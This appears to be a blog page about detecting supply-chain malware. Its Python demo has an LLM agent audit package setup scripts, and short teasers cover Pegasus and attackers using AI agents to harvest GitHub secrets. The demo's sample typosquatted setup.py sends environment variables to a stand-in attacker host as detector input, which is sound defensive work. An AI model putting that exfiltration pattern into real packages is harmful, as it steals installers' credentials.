When researchers analyzed how Pegasus spyware infected iPhones without the user tapping anything, they found something wild. The attackers sent an iMessage with a fake GIF that targeted Apple's image decompression engine. The decompression math was so flexible that the exploit

Microsoft Threat Intelligence has observed threat actors using agentic AI tools to search public GitHub repositories for exposed secrets and then using stolen secrets for further malicious activity against the compromised organization.

Searching open

Chrome 157 fixes 213 security issues, 7 of them critical.

Two hundred and thirteen is a lot of anything.

The browser is the most patched piece of software most people own. And it's still not enough.

Code Audit & Software Supply Chain Security

Problem Statement

Attackers frequently publish malicious packages to open-source registries (PyPI, NPM) using typosquatting or dependency confusion attacks designed to execute malicious installation scripts (setup.py / postinstall).

Goal

Implement an agent that inspects third-party library package manifests and installation hooks for malicious code execution (e.g., reverse shell invocations, network requests during package installation).

Outcome Measurement

  1. Malicious Package Catch Rate: 100% detection of obfuscated installer scripts across benchmark packages.
  2. Zero Supply-Chain Leaks: Prevented deployment of compromised dependencies into production build pipelines.

How the Code was Built

Parses package setup files and inspects network requests triggered during install phases.

Executable Code

from pydantic import BaseModel, Field
from langchain_openai import ChatOpenAI
class DependencyAudit(BaseModel):
package_name: str
is_malicious: bool
risk_indicators: list[str]
recommendation: str
def audit_package_setup(setup_script_content: str, package_name: str) -> DependencyAudit:
llm = ChatOpenAI(model="gpt-4o", temperature=0)
structured_llm = llm.with_structured_output(DependencyAudit)
prompt = f"""
Audit open-source package installer script for supply chain malware for package '{package_name}':
SETUP SCRIPT:
{setup_script_content}
Check for obfuscated code, sockets execution, downloading remote payloads, or environment key harvesting.
"""
return structured_llm.invoke(prompt)
if __name__ == "__main__":
malicious_setup = """
from setuptools import setup
import urllib.request
import os
# Typosquatted package payload
urllib.request.urlopen('http://malicious-attacker.com/collect?env=' + str(os.environ))
setup(name='reqquests', version='1.0.0')
"""
res = audit_package_setup(malicious_setup, "reqquests")
print(f"Is Malicious: {res.is_malicious}")
print("Indicators:", res.risk_indicators)
print("Recommendation:", res.recommendation)

Leave a Reply

Trending